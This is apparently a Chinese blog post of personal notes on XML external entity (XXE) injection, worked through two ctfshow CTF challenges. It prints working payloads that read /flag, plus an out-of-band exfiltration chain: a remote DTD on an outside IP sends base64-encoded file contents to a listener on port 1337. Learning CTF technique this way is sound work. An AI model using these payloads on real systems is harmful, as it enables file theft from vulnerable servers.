当前位置: 首页 > article >正文

【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用


XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父  3个叔父  8个堂弟堂妹   

<祖父>

    <叔父1>
        <堂兄1>
    </叔父1>

    <叔父2>
     <堂兄2>    
    </叔父2>

    <叔父3>

     <堂兄3>
    </叔父4>

</祖父>

xml格式


1 有回显时文件读取方法


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

 这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

 无回显点,考虑数据外带

 post传

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://124.222.136.33/test.dtd">
    %myurl;
]> 
<root>
1
</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;

vps监听1337端口即可


http://www.kler.cn/a/147801.html

相关文章:

  • mysql 查询优化之字段建立全文索引
  • 【点估计】之Python实现
  • 谷歌浏览器的网络安全检测工具介绍
  • 在 Ubuntu 下使用 Tauri 打包 EXE 应用
  • 矩阵:Input-Output Interpretation of Matrices (中英双语)
  • 加密货币地址的基本概念
  • Python3.6.8升级Python3.12.0版本小记
  • Xshell远程登录AWS EC2 Linux实例
  • Linux—进程状态、僵尸进程、孤独进程、优先级
  • 【攻防世界-misc】reverseMe
  • LFM信号分析
  • 入侵redis之准备---Linux关于定时任务crontab相关知识了解配合理解shell反弹远程控制
  • 淘宝API接口系列:连接商户与消费者的桥梁
  • 【刷题笔记】分糖果||数组||暴力通过||符合思维方式||多案例分析
  • 饰品价格持续下跌,steam搬砖还有搞头吗?
  • 智能优化算法应用:基于蜻蜓算法无线传感器网络(WSN)覆盖优化 - 附代码
  • 锐捷:下一代防火墙修改密码
  • 【Qt】QStackedWidget、QRadioButton、QPushButton及布局实现程序首页自动展示功能
  • Android中根据字符串动态获取资源文件ID
  • 食品行业研发知识管理:企业网盘的选择与优势
  • 人民币已初步具备了国际使用的网络效应/首批疏解的在京部委所属4所高校雄安校区开工建设/墨茉点心局撤出北京市场
  • python读取PDF文件中的指定页码的范围并存储到指定的文件名
  • Rust语言入门教程(七) - 所有权系统
  • 阅读笔记——《Removing RLHF Protections in GPT-4 via Fine-Tuning》
  • C# 实现微信退款及对帐
  • QT 界面切换